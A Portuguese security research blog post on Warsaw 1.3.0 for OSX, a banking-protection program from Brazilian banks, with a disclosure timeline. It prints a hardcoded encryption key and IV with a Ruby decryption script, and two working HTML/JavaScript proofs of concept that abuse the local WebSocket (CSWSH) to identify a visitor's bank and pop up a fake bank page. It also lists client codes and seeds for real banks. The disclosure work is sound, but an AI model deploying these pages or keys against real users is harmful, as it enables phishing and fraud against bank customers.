Adventure Time – Warsaw OSX [PT-BR]

AVISO LEGAL: Todas as opiniões e informações aqui expressas são de minha autoria. Enquanto escrevia este artigo, ainda continuo analisando o funcionamento interno do Warsaw, que possui uma enorme superfície de ataque, portando, isso deve ser considerado um trabalho em andamento.

Ao redor o mundo fraudes representam a maior ameaça às instituições financeiras, especialmente aos bancos. Por essa motivo, muitas instituições financeiras estão investindo uma quantidade significativa de recursos em modernos sistemas anti-fraudes que não impedem totalmente os abusos, mas visam reduzir as perdas financeiras.

No Brasil não é diferente, fraude se tornou um verdadeiro pesadelo para os bancos. Para piorar a situação, o Brasil é bem conhecido por ter uma atuação muito grande e ativa no cibercrime, com foco em fraudes bancárias, através do uso de malwares (banking trojan). Para combater esses ataques, os bancos brasileiros implementaram uma solução bem criativa para tentar reduzir as fraudes realizadas por meio dos sistemas de Internet Banking. A inovação foi migrar as verificações de segurança para serem realizadas no lado do cliente (client side).

O Warsaw é uma aplicação desenvolvida pela Gas Tecnologia, subsidiária do grupo Diebold, e se tornou uma padrão da industria de segurança bancária, sendo utilizado pelos maiores bancos do Brasil. Sob o pretexto de proteger os clientes durante as transações bancárias on-line, a instalação do Warsaw é obrigatória nos computadores pessoais dos usuários que precisam realizar alguma transação via Internet Banking.

Qual é o problema com uma solução de segurança como o Warsaw? Em suma, ele funciona de forma muito semelhante a um rootkit, por isso ele acaba sendo um software muito invasivo, que pode rastrear as ações do usuário no seu computador pessoal. Embora este comportamento seja mais evidente na versão para Windows, técnicas invasivas também são utilizadas na versão para OSX. Comecei a fazer a engenharia reversa do software tentando reunir provas para confirmar o descuido do Warsaw com privacidade do usuário, e o efeito colateral desse processo foi descobrir que o software não segue as melhores práticas de segurança, e pode expor informações do usuário que pode viabilizar a entrega de malwares bancários sob medida.

Detalhes:

  • OS: OSX El Capitan
  • Versão: Warsaw 1.3.0
Chave de Criptografia Hardcode e Vetor de Inicialização (IV) Estático (IV)

Como qualquer outro software, o Warsaw possui várias pequenas partes, neste caso, bibliotecas dinâmicas (dylib), uma vez que estamos falando de OSX. O Warsaw vem com 7 dylib disponíveis em /usr/local/lib/warsaw/. Segue abaixo a lista dos arquivos dylib:

  • wsbrmu.dylib
  • wsftbco.dylib
  • wsftdl.dylib
  • wsftev.dylib
  • wsftuan.dylib
  • wsftup.dylib
  • wslbmid.dylib

Cada uma das bibliotecas dinâmicas mencionadas acima tem uma funcionalidade específica. Um exemplo disto é a biblioteca wsftbco.dylib que se destina a tratar as comunicações do navegador (browser).

Por sorte eu já sabia a chave de criptografia devido a uma rodada anterior de análise dinâmica (depuração) que eu realizei… Mas para minha surpresa, durante uma análise estática do código, encontrei a mesma chave codificada no arquivo wsftup.dylib na função warsaw::update::LoadConfig.

require 'rubygems'  
require 'chilkat'

crypt = Chilkat::CkCrypt2.new()

success = crypt.UnlockComponent("Decrypt Tool")  
if (success != true)  
    print "Crypt component unlock failed" + "\n"
    exit
end

crypt.put_CryptAlgorithm("blowfish2")  
crypt.put_CipherMode("cfb")  
crypt.put_KeyLength(38)

key = "[email protected]!do2,38u0|/9432%&3re?wf4tv"  
iv = "8293662428438794533"

crypt.SetEncodedKey(key,"ascii")  
crypt.SetEncodedIV(iv,"ascii")

success = crypt.CkDecryptFile("features.dat","features.txt")  
if (success != true)  
    print crypt.lastErrorText() + "\n"
    exit
end  

O arquivo de configuração features.dat em texto claro.

Referência da Chilkat & Referência da Cryptopp

Linha do tempo da divulgação responsável

  1. April 19 2016 - Primeiro contato
  2. April 19 2016 - Detalhes enviados à GAS Tecnologia
  3. April 23 2016 - GAS Tecnologia diz que irá encaminhar o relatório a equipe técnica
  4. /dev/null - Nenhuma resposta da GAS Tecnologia
  5. May 04 2016 - Divulgação
Vazamento de Informações

Para ser honesto eu não tenho ideia de como classificar o problema. Podemos chamar de vazamento de informações ou uma maneira simples de abusar do Warsaw, a fim de levar o usuário a fornecer informações sensíveis, como por exemplo: dados do cartão de crédito, senha da conta bancária. Um invasor pode combinar esta falha com outras vulnerabilidades, como Cross-Site Scripting.

ATUALIZAÇÃO: O nome técnico é Cross-Site WebSocket Hijacking (CSWSH) Agradecimentos à @bernardomr

O processo de instalação do Warsaw possui vários passos. Recomendo que você o instale em uma máquina virtual rodando OSX para entender o fluxo, uma vez que ele possui alguns passos estranhos e interessantes. Após completar a instalação, minha primeira ideia foi verificar as dylibs carregadas, arquivos e conexões de rede. Felizmente há muitas ferramentas que podem ajudar com isso. Escolhi o TaskExplorer para este processo. Com ele aberto, fui na aba network e notei uma porta estranha aberta, como mostra a imagem abaixo:

Agora eu tenho uma porta local 30900 aberta e em status de escuta (listening). De acordo com a GAS Tecnologia, essa porta é usada para comunicação do Navegador > Warsaw.

Indo mais afundo, o Warsaw instalou um servidor WebSocket, sobre SSL (wss://), que permite qualquer site contendo algum JavaScript malicioso possa fazer requisições ao Warsaw. Depois de poucas horas estudando como funciona a comunicação entre o Navegador e o Warsaw, eu a desvendei! Além disso, se você quiser revisar a biblioteca WebSocket utilizada pelo Warsaw, fique à vontade, WebSocketpp. A GAS Tecnologia fornece aos seus clientes um conjunto de JavaScripts utilizados para fazer consultas/verificações ao Warsaw como:

  • IsInstaled
  • Update
  • Install

Você pode encontrar os arquivos JavaScripts no seu Internet Banking favorito, se ele usar o Warsaw. Para nossa prova de conceito precisamos de apenas dois dos arquivos JavaScript: warsaw-wrapper.js e warsaw-agent.js.

Prova de Conceito #1 — Identificando o Banco

Devido ao fato de que qualquer site que contenha código JavaScript malicioso possa enviar requisições ao Warsaw, pequenas alterações nos arquivos JavaScript fornecidos pela GAS Tecnologia, nos permite identificar remotamente o banco dos usuários e se eles tem o Warsaw instalado em seu computador.

<html>  
<script src="warsaw-agent.js"></script>  
<script src="warsaw-wrapper.js"></script>

<script type="text/javascript">

  var wrapper;

  updateError = undefined;
  controlarInstall = undefined;

  function log(msg) {
    document.getElementById("log").innerHTML += msg + "<br>&nbsp;";
    console.log(msg);
  }

  function checkBanese(){
    var cliente = "bes";
    var seed = "efvfxVQ6EvLYz2C4sIJaS2cWjTdtATAncytt6qkvnU/GdFvSss9SdPzpNxpfHbJsXyNis6lElt+oIKjfYrPJwXdumAC4yoCcq681qzzV1QmTF//ugrMiSFhtxBPUDmBDtkR8QDrVAL2awIFxYT+J6WqI897NxN2TCsQ8jA=="

    wrapper =  new WarsawWrapper(cliente,seed);

    try {
      wrapper.IsInstalled(function() {
      log("Warsaw Instalado - Banese [OK] ");
      });
    } catch (e) {
      log("Erro na chamada IsInstalled: " + e);
      updateError = "3";
    }
  }
  function check(){
    checkBanese();
  }
</script>  
<p id="log" class="center">  
</p>  
<body onload="check()">  
</html>  

Alterando os parâmetros cliente e seed você pode verificar qualquer banco. Essa informação pode ser encontrada navegando no site do seu Internet Banking favorito ou mais para baixo nesse blogpost.

Uma vez que não há restrições, nenhuma verificação de origem, e qualquer site pode fazer requisições ao Warsaw, um atacante pode tirar proveito disso e entregar um malware bancário sob medida aos usuários, evitando ou reduzindo a taxa de detecção de soluções de defesa que estão presentes, como anti-virus por exemplo.

Esta simples brecha falha em proteger a privacidade do usuário e permite que qualquer site identifique o banco do usuário. Isso também pode ser usado por bancos concorrentes e agências de publicidade para entregar anúncios personalizados e/ou malware potencialmente mais prejudiciais.

Como mencionado anteriormente, um atacante pode combinar um XSS com esta falha e redirecionar os usuários para sites de phishing que imitam o site alvo pretendido. Uma prova de conceito pode ser vista abaixo:

Prova de Conceito #2 — Redirecionamento para Página Falsa (Cross-Site WebSocket Hijacking (CSWSH))

<html>  
<script src="warsaw-agent.js"></script>  
<script src="warsaw-wrapper.js"></script>

<script type="text/javascript">

  var wrapper;
  var windowObjectReference;

  updateError = undefined;
  controlarInstall = undefined;

  function log(msg) {
    document.getElementById("log").innerHTML += msg + "<br>&nbsp;";
    console.log(msg);
  }

  function openRequestedPopup() {
    windowObjectReference = window.open(
      "http://fake-bank-page.com/bes-recadastramento.html",
      "Recadastramento Obrigatorio",
      "height=800,width=600"
    );
  }

  function checkBanese(){
    var cliente = "bes";
    var seed = "efvfxVQ6EvLYz2C4sIJaS2cWjTdtATAncytt6qkvnU/GdFvSss9SdPzpNxpfHbJsXyNis6lElt+oIKjfYrPJwXdumAC4yoCcq681qzzV1QmTF//ugrMiSFhtxBPUDmBDtkR8QDrVAL2awIFxYT+J6WqI897NxN2TCsQ8jA=="

    wrapper =  new WarsawWrapper(cliente,seed);

    try {
      wrapper.IsInstalled(function() {
      log("Warsaw Instalado - Banese [OK] ");
      log("Redirecting to SE page...")
      setInterval(openRequestedPopup(), 10000);
      log("Redirect Done!")
      });
    } catch (e) {
      log("Erro na chamada IsInstalled: " + e);
      updateError = "3";
    }
  }
  function check(){
    checkBanese();
  }
</script>  
<p id="log" class="center">  
</p>  
<body onload="check()">  
</html>  
clientes:  
  bes = Banese
  scd = Banco Sicredi
  tec = Unicred
  cef = Caixa
  cfs = Confesol
  ant = ANTT
  amz = Banco da Amazonia
  bb  = Banco do Brasil
  brb = Banco de Brasilia
  bnt = Banestes
  uni = Itau
  bnb = Banco do Nordeste
  srf = Banco Safra
Seed:

BANESE  
efvfxVQ6EvLYz2C4sIJaS2cWjTdtATAncytt6qkvnU/GdFvSss9SdPzpNxpfHbJsXyNis6lElt+oIKjfYrPJwXdumAC4yoCcq681qzzV1QmTF//ugrMiSFhtxBPUDmBDtkR8QDrVAL2awIFxYT+J6WqI897NxN2TCsQ8jA==

ITAU  
efvfxVQ6EvLYz2C4sIJaXGNVVh7ETFeKjROLM9PWNLVKdBu8XhKGzCzM1/lOwDZ3w1AfY6hE15mTmaru3fbgdYZSSUYMixAtOntGdxU3A6kG2SL3cBwwcS0L8sFQhY6JV2zyHUpkUKPwBOoBcLKOIyrtIg4UjxwW9kwtVOWK3w== 

ANTT  
efvfxVQ6EvLYz2C4sIJaSMtrBYjb+gcgn2djpoIrkrma9YZuRe4Z7LhtF70Yon932lq/yvizeaqfLnOLRWFX574UXPQR8OJmAI1zC56lbp9VQx7Cp/ZT/WM2rQWHo/INlsIa266JUaRRrWEsV9JwqOGqWyHZ1krB0A==

Banco da Amazonia  
efvfxVQ6EvLYz2C4sIJaSMhlBYjb+gcg/uPSBGmTZYcmvlcbiVNs94w/HUEfh4PpQ++TwY4Gq3vqejESyKImNVl1O5md7xBWHDRzK/cjuvjbYMDN1bA1WMmREHkDJxSuKoddJNRbCuOaMEYPAMWqim5f0bUx19MEIg33iT9fjOAhbJw= 

Banco do Brasil  
efvfxVQ6EvLYz2C4sIJaS2BHgzkiDTYpddBUfiK2+URM4RZYLNt9wLF9QrvQLhCbU51KGDlH15yIXSGq1zpTyjEfwXfPkU9iotTJkcR6rg5cfXysXchGv1d2TWjMGXWslhd9XGo4sMt4i7JxWKtj/lIDZdQIwHwp2/P5AX4mT5zggg== 

Banco de Brasilia  
efvfxVQ6EvLYz2C4sIJaS3AHjTdtATAnEOqr5BQFlkRUn7tnAkeu4keXKMn2m2tps7X2UaA0thpopGOIZMxeDVHoE+gh8pzhYI59sSCgq5whwz9Lij2git5BQ8OIJhP5rGESiHJEsxIb3/6UGmxahiK5ZWb8KFEEHAbfp1zI5z+hgFmDvoiW1Rs= 

Banestes  
efvfxVQ6EvLYz2C4sIJaS2wRjTdtATAnMgbAgxiwOgQwyeFRbjI4VvtX1XbPDM6/of8nPLAz6xUbe1HwaMLhKLd4vdZDUj0aKl1bJdXtTFmTCTE36yyIRbLmLkjZiIDc0RAZ5tC74F2eYM1nVDpjQKZQifnAuJ9OIHWj8WnymA==

Banco Mercantil  
efvfxVQ6EvLYz2C4sIJaS28HjTdtATAn/izrjcTtE4nb/jJqt6g8buFxySb90ANslK6SUKSw6w6cPCjMJmq1s58NcG86JqAyU33b5vRSGBoNCNil4XyDMEg6czJAaW5t5idlxUC93YdLA+n44qQUjgcbk9Ug2GVOG2MSPWvyMaj9mT2I9yAy/JM=

Banco do Nordeste  
efvfxVQ6EvLYz2C4sIJaS2wHjTdtATAnBiYL4tDuBJeNaOzbANhzPR5y1EAWG0U+ToyT/PR5asTkqfBaRRnodJiYdAQLOoQQvJUgl79qUdHEMb4uL21mf9Uq9x/xKOV05dp8WxF2+m2TVpFfrYsINwJqYhi6yD480jaeK01g9xZy

Banco Safra  
efvfxVQ6EvLYz2C4sIJaWiPHItbgdUJAk6mvHnkoHdl17200nTXQY3NwTOaJ6y/C063oqaeg1xxDhjQDQoc6ToLjQk9fi0V/pIFqlkJuR0+xjesGJKtN3XjnLtoCXLXy+z4T+TL5UuZzG/H4rVU/C4U12s5KPIkBR923Ug==

Banco Sicredi  
efvfxVQ6EvLYz2C4sIJaWibRItbgdUJAubUdCkwIAzWc1esIEdy62TyGLQJT9nhOHT0aKdBnl2ns/iViBywFIlaqJjOf5i/tuWm0JkHn4Ipal/LemM8/nLlZrB68r8T9pySURIl0peaVEp2HXbtmMN3QTm2QCxyXOlWhGZFk1MxRj/k= 

Unicred  
efvfxVQ6EvLYz2C4sIJaXS/roUJoawweza+np1AE1zzu/NKpTOLjlQCbzy4ouE9aL3y11pgrMG4Y3er7gHFegYwwUgb0kGZY0uikmP2QEQ3DYlwA0qmoOQp/Q3jQWMOPCCY249PXzUz27KlR9HJHabi/QzVeNTFAvlR0nb3oXF8=

Caixa Economica Federal  
efvfxVQ6EvLYz2C4sIJaSvSMIw/VFEuqdYl+jfuXjhoITgCrG9F1g6YfQHV16DzmIKOBu8Pa/EPjzM5pScWlvX9yIrU72hboZ48qDK28BoAHA5H84YqtG7c3PPMr9JbGwC2KIw/QOWh1jsR84WCwPC6B+AjL0Vc=

Confesol  
efvfxVQ6EvLYz2C4sIJaSveZIw/VFEuqs3hunWZoTBhB7z9CT61Tb7Y8TE7mwdokYdr0Ft6/U2tUe3AH9WYyf/hylP/x2D2jIyQxDJENlMdohXfM4WuELNrcVjPX7sscYpngB75sYg/DphdFLwDJBQJ9F4eyli+Qxw==

Warsaw Redirect Demo from J on Vimeo.

Cya

"No hacker is normal; they only differ in the extent of their madness!"
– BSDaemon